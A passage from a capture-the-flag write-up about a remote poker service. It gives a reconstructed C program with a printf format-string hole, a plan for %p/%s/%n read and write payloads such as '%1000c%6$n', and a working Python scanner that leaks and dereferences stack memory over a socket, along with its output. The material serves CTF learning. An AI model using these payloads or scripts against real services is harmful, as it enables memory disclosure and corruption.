            <span class="k">if</span> <span class="p">(</span><span class="n">y2</span><span class="p">,</span> <span class="n">d2</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="mi">1000</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
                <span class="k">break</span>
            <span class="k">if</span> <span class="n">y2</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">or</span> <span class="n">d2</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="k">if</span> <span class="n">y2</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">d2</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">:</span>
                <span class="k">break</span>

            <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"y"</span><span class="p">)</span>
            <span class="n">buf</span><span class="p">,</span> <span class="n">transcript</span> <span class="o">=</span> <span class="n">play_to_menu</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">transcript</span><span class="p">,</span> <span class="n">aggressive</span><span class="o">=</span><span class="n">aggressive</span><span class="p">)</span>
            <span class="n">y2</span><span class="p">,</span> <span class="n">d2</span> <span class="o">=</span> <span class="n">parse_last_chips</span><span class="p">(</span><span class="n">transcript</span><span class="p">)</span>
            <span class="n">hands_played</span> <span class="o">+=</span> <span class="mi">1</span>

        <span class="c1"># Exit cleanly
</span>        <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"n"</span><span class="p">)</span>
        <span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="mf">1.0</span>
        <span class="k">while</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">:</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
            <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">):</span>
                <span class="k">break</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="n">transcript</span> <span class="o">+=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">(</span><span class="n">y2</span><span class="p">,</span> <span class="n">d2</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="mi">1000</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">transcript</span><span class="p">,</span> <span class="p">(</span><span class="n">y1</span><span class="p">,</span> <span class="n">d1</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Retry remote sessions until chips become exactly 1000-0"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--attempts"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Maximum sessions to try"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--aggressive"</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s">"store_true"</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Use more assertive line selection and play extra hands"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--max-hands"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Maximum hands to play per session"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"--save"</span><span class="p">,</span>
        <span class="nb">type</span><span class="o">=</span><span class="n">Path</span><span class="p">,</span>
        <span class="n">default</span><span class="o">=</span><span class="n">Path</span><span class="p">(</span><span class="s">"blind/1000_0_transcript.txt"</span><span class="p">),</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Where to save the successful transcript"</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">attempts</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">ok</span><span class="p">,</span> <span class="n">transcript</span><span class="p">,</span> <span class="n">hand1</span> <span class="o">=</span> <span class="n">single_attempt</span><span class="p">(</span>
                <span class="n">name</span><span class="o">=</span><span class="sa">f</span><span class="s">"hunt</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">,</span>
                <span class="n">aggressive</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">aggressive</span><span class="p">,</span>
                <span class="n">max_hands</span><span class="o">=</span><span class="nb">max</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">max_hands</span><span class="p">),</span>
            <span class="p">)</span>
            <span class="n">y</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="n">parse_last_chips</span><span class="p">(</span><span class="n">transcript</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[attempt </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">] hand1=</span><span class="si">{</span><span class="n">hand1</span><span class="si">}</span><span class="s"> final=</span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">d</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">ok</span><span class="p">:</span>
                <span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="p">.</span><span class="n">parent</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">parents</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
                <span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="p">.</span><span class="n">write_text</span><span class="p">(</span><span class="n">transcript</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Hit target 1000-0 on attempt </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Saved transcript to </span><span class="si">{</span><span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="k">return</span> <span class="mi">0</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">exc</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[attempt </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">] error: </span><span class="si">{</span><span class="n">exc</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.08</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[!] END"</span><span class="p">)</span>
    <span class="k">return</span> <span class="mi">1</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">raise</span> <span class="nb">SystemExit</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p>Run command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 name.py <span class="nt">--attempts</span> 10 <span class="nt">--aggressive</span> <span class="nt">--max-hands</span> 4
</code></pre></div></div>

<p>Here is the result:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>attempt 1] <span class="nv">hand1</span><span class="o">=(</span>990, 10<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>990-10
<span class="o">[</span>attempt 2] <span class="nv">hand1</span><span class="o">=(</span>10, 990<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>10-990
<span class="o">[</span>attempt 3] <span class="nv">hand1</span><span class="o">=(</span>990, 10<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>990-10
<span class="o">[</span>attempt 4] <span class="nv">hand1</span><span class="o">=(</span>990, 10<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>990-10
<span class="o">[</span>attempt 5] <span class="nv">hand1</span><span class="o">=(</span>520, 480<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>460-540
<span class="o">[</span>attempt 6] <span class="nv">hand1</span><span class="o">=(</span>990, 10<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>990-10
<span class="o">[</span>attempt 7] <span class="nv">hand1</span><span class="o">=(</span>10, 990<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>10-990
<span class="o">[</span>attempt 8] <span class="nv">hand1</span><span class="o">=(</span>10, 990<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>10-990
<span class="o">[</span>attempt 9] <span class="nv">hand1</span><span class="o">=(</span>10, 990<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>10-990
<span class="o">[</span>attempt 10] <span class="nv">hand1</span><span class="o">=(</span>990, 10<span class="o">)</span> <span class="nv">final</span><span class="o">=</span>990-10
<span class="o">[!]</span> Target 1000-0 not reached within attempt budget
</code></pre></div></div>

<p>I automated <code class="language-plaintext highlighter-rouge">raise 480</code> for each hand. The output shows different outcomes for the same input, indicating settlement inconsistencies; the behavior is stochastic and not reliably exploitable remotely.</p>

<p>We did not observe <code class="language-plaintext highlighter-rouge">1000-0</code>, so it is likely not the required win condition. We hypothesize the win gate may be based on <code class="language-plaintext highlighter-rouge">your_chips &gt; 1000</code>.</p>

<p>From this analysis, we reconstructed a plausible implementation of the service:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">your_chips</span> <span class="o">=</span> <span class="mi">500</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">dealer_chips</span> <span class="o">=</span> <span class="mi">500</span><span class="p">;</span>

    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter your name:"</span><span class="p">);</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">name</span><span class="p">),</span> <span class="n">stdin</span><span class="p">);</span>

    <span class="c1">// Vulnerability: uncontrolled format string</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to the table, "</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>                  <span class="c1">// &lt;-- format string vulnerability</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Your chips: %d | Dealer chips: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">your_chips</span><span class="p">,</span> <span class="n">dealer_chips</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Play a hand? (y to play / n to exit): "</span><span class="p">);</span>

        <span class="kt">char</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cmd</span><span class="p">),</span> <span class="n">stdin</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'n'</span><span class="p">)</span> <span class="p">{</span>
            <span class="c1">// Inferred win gate from behavior</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">your_chips</span> <span class="o">&gt;</span> <span class="mi">1000</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">puts</span><span class="p">(</span><span class="s">"utflag{...}"</span><span class="p">);</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">puts</span><span class="p">(</span><span class="s">"Better luck next time."</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Poker hand engine here</span>
        <span class="c1">// ... complex game logic omitted in real service</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we have the basic information. Next, we’ll create scripts to dynamically analyze the service:</p>
<ol>
  <li>Confirm leak primitive (<code class="language-plaintext highlighter-rouge">%p</code>) using payloads like <code class="language-plaintext highlighter-rouge">%i$p</code> across many indices.</li>
  <li>Confirm read primitive (<code class="language-plaintext highlighter-rouge">%s</code>) using payloads like <code class="language-plaintext highlighter-rouge">%i$s</code> for candidate indices.</li>
  <li>Confirm write primitive (<code class="language-plaintext highlighter-rouge">%n</code>), e.g. <code class="language-plaintext highlighter-rouge">%1000c%6$n</code> to alter dealer chips or <code class="language-plaintext highlighter-rouge">%1000c%7$n</code> to alter player chips.</li>
</ol>

<p>Here is the script for step 1 and 2:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span>

<span class="n">HOST</span> <span class="o">=</span> <span class="s">"challenge.utctf.live"</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">7255</span>
<span class="n">FLAG_RE</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="sa">r</span><span class="s">"[A-Za-z0-9_]*\{[^\n{}]{3,}\}"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">get_welcome_value</span><span class="p">(</span><span class="n">payload</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">0.65</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">create_connection</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">),</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">2.0</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">OSError</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">None</span>
    <span class="n">s</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="n">timeout</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">banner</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>
        <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">,</span> <span class="nb">OSError</span><span class="p">):</span>
            <span class="k">return</span> <span class="bp">None</span>
        <span class="k">if</span> <span class="s">"Enter your name:"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">banner</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span>
        <span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">((</span><span class="n">payload</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

        <span class="n">out</span> <span class="o">=</span> <span class="s">""</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
            <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">,</span> <span class="nb">OSError</span><span class="p">):</span>
                <span class="k">break</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="n">out</span> <span class="o">+=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>
            <span class="k">if</span> <span class="s">"Play a hand?"</span> <span class="ow">in</span> <span class="n">out</span><span class="p">:</span>
                <span class="k">break</span>

        <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"Welcome to the table, (.*?)!"</span><span class="p">,</span> <span class="n">out</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">S</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span>
        <span class="k">return</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">printable</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ch</span> <span class="k">if</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span> <span class="ow">and</span> <span class="n">ch</span> <span class="ow">not</span> <span class="ow">in</span> <span class="s">"</span><span class="se">\r\n\t</span><span class="s">"</span> <span class="k">else</span> <span class="s">"."</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">s</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[*] Stage 1: leak stack args with %i$p"</span><span class="p">)</span>
    <span class="n">ptr_map</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">{}</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">70</span><span class="p">):</span>
        <span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"%</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">$p"</span>
        <span class="n">v</span> <span class="o">=</span> <span class="n">get_welcome_value</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">v</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">v</span> <span class="o">=</span> <span class="n">v</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
        <span class="n">ptr_map</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">v</span>
        <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"    - scanned </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s"> offsets"</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">ptr_map</span><span class="p">):</span>
        <span class="n">v</span> <span class="o">=</span> <span class="n">ptr_map</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">v</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"(nil)"</span><span class="p">,</span> <span class="s">"0x0"</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[p] </span><span class="si">{</span><span class="n">i</span><span class="si">:</span><span class="mi">3</span><span class="n">d</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">v</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[*] Stage 2: dereference candidate pointers with %i$s"</span><span class="p">)</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">ptr_map</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">v</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"0x"</span><span class="p">):</span>
            <span class="k">continue</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
        <span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="k">if</span> <span class="n">n</span> <span class="o">&lt;=</span> <span class="mh">0x1000</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">candidates</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>

    <span class="n">seen</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">sorted</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">candidates</span><span class="p">)):</span>
        <span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"%</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">$s"</span>
        <span class="n">v</span> <span class="o">=</span> <span class="n">get_welcome_value</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.55</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">v</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">pv</span> <span class="o">=</span> <span class="n">printable</span><span class="p">(</span><span class="n">v</span><span class="p">)</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">pv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">pv</span><span class="p">[:</span><span class="mi">80</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">seen</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">seen</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[s] </span><span class="si">{</span><span class="n">i</span><span class="si">:</span><span class="mi">3</span><span class="n">d</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">pv</span><span class="p">[</span><span class="si">:</span><span class="mi">220</span><span class="p">]</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">m</span> <span class="o">=</span> <span class="n">FLAG_RE</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="n">v</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] FLAG FOUND: </span><span class="si">{</span><span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="mi">0</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[!] No direct flag string leaked in scanned offsets."</span><span class="p">)</span>
    <span class="k">return</span> <span class="mi">1</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">raise</span> <span class="nb">SystemExit</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p>Here is the output of this code:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 fmt_scan.py
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Stage 1: leak stack args with %i<span class="nv">$p</span>
    - scanned 10 offsets
    - scanned 20 offsets
    - scanned 30 offsets
    - scanned 40 offsets
    - scanned 50 offsets
    - scanned 60 offsets
<span class="o">[</span>p]   1: 0x7ffda1665450
<span class="o">[</span>p]   4: 0x16
<span class="o">[</span>p]   5: 0x16
<span class="o">[</span>p]   6: 0x7ffd96938398
<span class="o">[</span>p]   7: 0x7ffdbcfd166c
<span class="o">[</span>p]   8: 0x7ffdf83d1d10
<span class="o">[</span>p]   9: 0x4034c3
<span class="o">[</span>p]  13: 0x7ffd3bc0efe5
<span class="o">[</span>p]  20: 0x400040
<span class="o">[</span>p]  21: 0xd
<span class="o">[</span>p]  22: 0x7fff1af2fc40
<span class="o">[</span>p]  23: 0x7ffee3cbcc99
<span class="o">[</span>p]  24: 0x7f347cca65e0
<span class="o">[</span>p]  25: 0x40372d
<span class="o">[</span>p]  26: 0x7f0d657a72e8
<span class="o">[</span>p]  27: 0x4036e0
<span class="o">[</span>p]  29: 0x1f4000001f4
<span class="o">[</span>p]  30: 0x7fff40a166d0
<span class="o">[</span>p]  33: 0x7f6b5ea5b083
<span class="o">[</span>p]  34: 0x100000006
<span class="o">[</span>p]  35: 0x7ffe50956d78
<span class="o">[</span>p]  36: 0x16ec977a0
<span class="o">[</span>p]  37: 0x403464
<span class="o">[</span>p]  38: 0x4036e0
<span class="o">[</span>p]  39: 0x3eac8cb44490c1ff
<span class="o">[</span>p]  40: 0x401230
<span class="o">[</span>p]  41: 0x7ffe13e278e0
<span class="o">[</span>p]  44: 0xc0a0861aa8ffdda8
<span class="o">[</span>p]  45: 0x10b87249fefe49d8
<span class="o">[</span>p]  49: 0x1
<span class="o">[</span>p]  50: 0x7fffd3a32788
<span class="o">[</span>p]  51: 0x7ffe10122eb8
<span class="o">[</span>p]  52: 0x7fbe22635190
<span class="o">[</span>p]  55: 0x401230
<span class="o">[</span>p]  56: 0x7ffd42ec7890
<span class="o">[</span>p]  59: 0x40125e
<span class="o">[</span>p]  60: 0x7ffe71cfff88
<span class="o">[</span>p]  61: 0x1c
<span class="o">[</span>p]  62: 0x1
<span class="o">[</span>p]  63: 0x7ffd5b852e84
<span class="o">[</span>p]  65: 0x7fffeaf87e92
<span class="o">[</span>p]  66: 0x7ffd76754ea6
<span class="o">[</span>p]  67: 0x7ffda9ebeeb1
<span class="o">[</span>p]  68: 0x7fffa6340ec3
<span class="o">[</span>p]  69: 0x7ffc39fbded1

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Stage 2: dereference candidate pointers with %i<span class="nv">$s</span>
<span class="o">[</span>s]   1: Welcome to the table, 00  each               ..
<span class="o">[</span>s]   9: .E...E.
<span class="o">[</span>s]  13: 3978
<span class="o">[</span>s]  22: .gTn.
<span class="o">[</span>s]  23: x86_64
<span class="o">[</span>s]  24: ....UH..t.
<span class="o">[</span>s]  25: H...H9.u.H...[]A<span class="se">\A</span><span class="o">]</span>A^A_.ff....
<span class="o">[</span>s]  27: ....AWL.<span class="o">=</span><span class="c">#7</span>
